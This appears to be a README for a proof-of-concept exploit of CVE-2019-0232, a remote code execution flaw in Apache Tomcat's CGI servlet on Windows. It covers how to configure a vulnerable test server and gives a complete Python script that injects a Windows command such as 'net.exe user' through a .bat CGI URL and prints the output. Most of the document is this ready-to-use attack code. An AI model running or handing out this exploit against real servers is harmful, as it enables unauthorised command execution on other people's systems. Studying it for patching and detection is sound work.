# CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN `Apache Tomcat Remote Code Execution on Windows cgi-bin` ![](https://assets.kitploit.com/production/public/readmes/27330/95e77e4970e9cac1b5356a7541dfdf8b0c1d824a8564a3a22fa1d0024e66b9a6.png) # Usage: Usage: python CVE-2019-0232.py url cmd ![](https://assets.kitploit.com/production/public/readmes/27330/60a58ed11ec8d127912ca7a21e1bcd5564c82db592a6871c077bad2843f7d25d.jpg) ![](https://assets.kitploit.com/production/public/readmes/27330/533c690cba6336e3d80ea3406c49e53f992ba16c0898bb77b08989ce818c28ba.jpg) # Test Environment: jdk8 apache-tomcat-8.5.39 https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/apache-tomcat-8.5.39.zip ## Vulnerability Setup: Modify the conf directory configuration file, enable CGI, start Tomcat server services #### Reference https://github.com/pyn3rd/CVE-2019-0232 #### apache-tomcat-8.5.39\conf\web.xml

cgi

org.apache.catalina.servlets.CGIServlet

debug

cgiPathPrefix

WEB-INF/cgi-bin

executable

#### apache-tomcat-8.5.39\conf\context.xml WEB-INF/web.xml ${catalina.base}/conf/web.xml ## Python Script: import requests import sys # http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user url = sys.argv[1] url_dir = "/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C" cmd = sys.argv[2] vuln_url = url + url_dir +cmd print ''' _______ ________ ___ ___ __ ___ ___ ___ ____ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ / _ \__ \|___ \__ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| | | | ) | __) | ) | | | \ \/ / | __|______/ /| | | || |\__, |______| | | |/ / |__ < / / | |____ \ / | |____ / /_| |_| || | / / | |_| / /_ ___) / /_ \_____| \/ |______| |____|\___/ |_| /_/ \___/____|____/____| Apache Tomcat Remote Code Execution on Windows - CGI-BIN By Jas502n ''' print "Usage: python CVE-2019-0232.py url cmd" print "The Vuln url:\n\n" ,vuln_url r = requests.get(vuln_url) print "\nThe Vuln Response Content: \n\n" , r.content ## References: https://github.com/pyn3rd/CVE-2019-0232

Query Builder